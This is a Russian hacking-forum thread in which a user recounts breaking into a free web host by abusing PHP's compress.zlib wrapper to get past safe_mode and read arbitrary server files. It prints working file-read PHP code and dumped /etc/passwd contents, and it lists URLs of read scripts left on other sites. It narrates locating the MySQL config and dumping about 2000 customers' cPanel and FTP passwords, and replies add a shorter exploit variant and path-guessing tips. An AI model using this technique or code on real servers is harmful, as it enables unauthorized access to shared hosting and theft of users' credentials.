Большинство бесплатных хостингов предоставляет свои услуги с safe_mode = On. Характеристики хостинга Apache/1.3.34 (Unix) PHP/5.1.2 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_ssl/2.8.25 OpenSSL/0.9.7e PHP-CGI/0.1b, предоставляет веб-хостинг, файло обменик, e-mail. Проведенное время в поисках уязвимостей на главном сайте хостинга дала только пассивную sql инкцию которая брала из базы имя рисунка, из-за этой ошибки удалось найти реальный путь к расположению файлов. Не один shell не смог справится с safe_mode не r57 ver.3.5 и не с99 ver.1.0. Прошло еще некоторое время в поисках решения, и наконец мне удалось читать любые файлы на сервере, благодаря ошибки библиотеки php compress.zlib. PHP: <?php $file=""; $tem=""; $temp=tempnam($tem, "cx"); if(copy("compres.zlib://".$file, $temp)) { $otrit = fopen($temp, "r"); $pokaz = fread($otrit, filesize($temp)); fclose($otrit); echo htmlspecialchars($pokaz); unlink($temp); } ?> File.php?file=/etc/passwd # $FreeBSD: src/etc/master.passwd,v 1.39 2004/08/01 21:33:47 markm Exp $ # root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin news:*:8:8:News Subsystem:/:/usr/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin proxy:*:62:62acket Filter pseudo-user:/nonexistent:/usr/sbin/nologin freehost:*:1006:1007:User &:/host/freehost:/usr/local/cpanel/bin/noshell Все пароли к cpanel и ftp лежали в sql базе, сделав бэкап базы у была базы 2000 пользователей. Я пробовал проделать тоже самое на других хостингах (зарубежных), но получал только печальный ответ «НЕ ДОСТУПА». На некоторых российских хостингах выходит. То ли АДМИНЫ у нас такие, то ли мне просто повезло.
Я конечно выложил бы БД, но на этом хостинге лежит мой сайт! Я вобще писал в ознакомительных целях. Да к стате на holm.ru эта фишка тоже канает!!!
Да. На редкость хорошая статья. Краткая, и в тему, и актуальна для большенства пользователей ачата. Молодец. Держи +
Есть у кого зарегитрированый домен на http://h10.ru/ что бы проверить, а то у меня не проходит регистрация, если что, напишите в личку логин и пароль!
да, всё конечно хорошо, но... надо хотя бы соблюдать копирайты, а то выглядит так, что эту уязвимость нашёл ты... _http://securityreason.com/achievement_exploitalert/8
какая разница кто нашёл уязвимость, главное что эту статью написал он а по той ссылке что ты дал лежит только код...
Отвечу на вопросы: 1)«Надо хотя бы соблюдать копирайты, а то выглядит так, что эту уязвимость нашёл ты...» - А я в статье утверждал что нашел уязвимость в php compress.zlib именно Я, я думаю когда пишутся подобные статьи, Вы не указываете кто нашел уязвимость в phpBB или IPB и т.д. Подобные уязвимости можно найти на forum.antichat.ru, или google.com и т.д. 2) «Объяснил бы где ты надбывал логин и пасс для sql...прочтя /etc/passwd =))))))» - Расскажу все по стадия, что я делал: а) Сначала я исследовал главный сайт хостинга. Т.к на нам находится файлобменик, при загрузки файла он выдает адрес для скачивания пр. host.ru/file/?457894, проверки удалось выяснить что, не фильтруются данные, и сообщение об ошибке выдало реальный путь с лежащим файлам главного сайта пр. /host/freehost/public_html/index/file/index.php б) Создав сайт на хостинге, как было сказано выше скрипта с _hxxp://securityreason.com/achievement_exploitalert/8, я проверил читает ли он /etc/passwd, и алилуя читает. в) Затем я вставил адрес который мне выдал скрипт. Нашел файл конфигурации mysql. г) Затем залили на свой сайт phpmyadmin, записав конфигурации для подключении, у меня был доступ к базе пользователей с паролями. Конечно это заняло не мало времени, сначала скрипт не хотел выполнятся из-за того, что было запрещено использовать папку /var/tmp. Затем я немного попарился с mysql, не как не получалось соединиться с базой. А еще кто изменил пароль в cpanel, пароли не подходят! Вот несколько примеров _hxxp://www.alexxxx.biz/hpmaker/qq.php?file=/etc/passwd _hxxp //sync.ua/form/cnk-conf/qq.php?file=/etc/passwd Только маленький облом, он может прочитать /etc/passwd, но на другие папки нет доступа. Да еще может кто подскажет, после того как меняешь пароль в cpanel v.10, куда записывается пароль, а то он не попадает в тут sql, которую я скачал. Да еще наверное надо написать _hxxp://rst.void.ru чтобы включили в r57shell эту ошибку!
Уважаемы члены Members of Antichat, разобравшись с этой ошибкой (оказалось очень серьезной), я решил что выкладывать на всеобщее обозрение исходных моих трудов будет серьезной ошибкой, так как может повести много проблем. Из-за этого я решил что бы кто-нибудь из Вас опубликовал эту статью только в закрытой части форума. Я думаю, что Вы поймете почему. Пишите в личку.
2DIAgen да нет... уязвимость написана была ещё на секлабе. да и зачем ты юзал такой длинный и неправильный код?: Code: if(!(copy("compress.zlib://$file", $temp)))die('error'); readfile($temp); все а так молодец --- только вот предложения так и не понял... так ты нашел уязвимость или не ты?
Я нашел хорошую лазейку, когда можно обойтись без root'a, конечно это сказано выкано, но для меня это открытие, так как я только осваиваю все это дело! А нас счет скрипта, как я уже говорил, exploit'ov много но как правильно применить, главно упорсво. Кому интересно hxxp://ponce.inter.edu/forums/passwd.txt может че найдете интересного!
Решил выложить концовку: Еще обнаружил интересную вещь, если нет доступа к папке, выдает сообщение что нет доступа. А самое интересное то, что можно читать файлы в этой директории. Значит задача остается в том, что бы определить истинный путь к файлам, и затем их читать! Вот пара примеров на hxxp://www.aleviler.biz /etc/passwd выдает вот это PHP: mailman:x:72:67:GNU mailing list manager:/var/lib/mailman:/bin/bash ldap:x:76:70:User for OpenLDAP:/var/lib/ldap:/bin/bash radiusd:x:100:101:Radius daemon:/var/lib/radiusd:/bin/false privoxy:x:101:102:Daemon user for privoxy:/var/lib/privoxy:/bin/false nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash web1:x:20071:102::/srv/www/htdocs/web1:/bin/false web2:x:20072:102::/srv/www/htdocs/web2:/bin/false web5:x:20077:102::/srv/www/htdocs/web5:/bin/false web3:x:20074:102::/srv/www/htdocs/web3:/bin/false web4:x:20076:102::/srv/www/htdocs/web4:/bin/false web6:x:20078:102::/srv/www/htdocs/web6:/bin/false web7:x:20079:102::/srv/www/htdocs/web7:/bin/false web8:x:20080:102::/srv/www/htdocs/web8:/bin/false На это хосте зарегистрированы следующие сайты PHP: asflug.com, flirtcity.biz, internationale-buchhandlung.com, lust-auf-reise.com, powerstore.info, rentpark.net и т.д На прямую он недает обратится к папка hxxp://www.aleviler.biz/hpmaker/qq.php?file=/srv/www/htdocs/web36/ PHP: Sorry... File /srv/www/htdocs/web36/ dosen't exists or you don't have access. Но если обратится к файлам hxxt://www.aleviler.biz/hpmaker/qq.php?file=/srv/www/htdocs/web1/html/index.php hxxt://www.aleviler.biz/hpmaker/qq.php?file=/srv/www/htdocs/web23/html/index.php hxxt://www.aleviler.biz/hpmaker/qq.php?file=/srv/www/htdocs/web36/html/index.php Выдается исходный код!!! Алилуя!!!
help DIAgen, у меня такой вопрос возник: Вот ты даешь ссылку hxxt://www.aleviler.biz/hpmaker/qq.php?file=/srv/www/htdocs/web36/html/index.php как ты узнал вот этот адрес /srv/www/htdocs/web36/html/index.php ?! Буду очень благодарен, если поможешь !
Тебе просто надо изнать точный путь до скрипта который ты запустил. Затем прочитав etc/passwd ты будешь знать какие еще есть сайты на сервере. Потом уже методом тыка нужно подбирать пути, они будут различатся с твоим только на несколько папок.